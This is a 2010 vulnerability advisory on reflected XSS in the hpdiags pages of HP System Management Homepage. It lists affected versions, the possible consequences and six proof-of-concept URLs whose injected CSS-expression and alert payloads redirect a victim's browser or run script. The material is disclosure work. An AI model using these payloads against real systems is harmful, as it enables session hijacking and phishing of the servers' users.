HP System Management Homepage XSS injection Vulnerability
7 Dec. 2010
Summary
An XSS vulnerability has been found within HP system management for HP servers; this arises from insufficient input filtering found within the hpdiags suite of programs. The hpdiags suite of programs was found to be present within Linux versions of HP system management.
Credit:
The information has been provided by Richard Brain of ProCheckUp Ltd.
Vulnerable Systems:
* HP System Management Homepage Version 3.0.0.68
* HP System Management Homepage Version 3.0.2.77
* HP System Management Homepage Version 6.1.0.103
By using a specially-crafted link, and tricking the victim into clicking on it, an attacker can perform malicious attacks such as the following:
- Hijack user accounts by stealing the victim's cookies that are assigned to the victim's browser by the vulnerable website
- Hijack user accounts by injecting a "fake" html form on the html rendered by the victim's web browser
- Redirect the victim to a malicious third-party website which would perform a phishing attack to steal the user credentials or exploit an vulnerability (i.e.: buffer overflow) on the victim's web browser in order to compromise the victim's workstation
Consequences:
Attackers can force the victim's web browser to perform XSS/HTML injection in the security context of the vulnerable site in order to gather data from users who visit a page within the target site.
Authentication is normally needed, unless system has been configured to support anonymous automatic login.
Tested on Centos/Red Hat enterprise operating system, running on HP Proliant DL380 G5 and DL360 G5 servers
Proof of concepts:
The following works with Internet Explorer only
https:///target-domain.foo:2381/hpdiags/parameters.php?device="</XSS STYLE=xss:expression(location='http://www.procheckup.com')>
Versions:- 3.0.0.68, 6.0.0.95 linux, 6.1.0.103 linux
https://target-domain.foo:2381/hpdiags/idstatusframe.php?pid="%20</XSS STYLE=xss:expression(location='http://www.procheckup.com')>
Versions:- 3.0.0.68, 6.0.0.95 linux, 6.1.0.103 linux
Same program as above thoguh with another variable
https://target-domain.foo:2381/hpdiags/idstatusframe.php?cfg="%20</XSS STYLE=xss:expression(location='http://www.procheckup.com')>
Versions:- 3.0.0.68 linux, 6.0.0.95 linux, 6.1.0.103 linux
https://target-domain.foo:2381/hpdiags/survey.php?category=");//}</XSS/*-*/STYLE=xss:e/**/xpression(location='http://www.procheckup.com')>&device=1&filename=Procheckup&mount=1&save=1&surveyLevel=1&target=1
Versions:- 3.0.0.68 linux
https://target-domain.foo:2381/hpdiags/globals.php?tabpage=";alert(1)//
Versions:- 3.0.0.68 linux
https://target-domain.foo:2381/hpdiags/custom.php?testMode=blah';</XSS%20STYLE=xss:expression(location='http://www.procheckup.com')>
Versions:- 3.0.0.68 linux
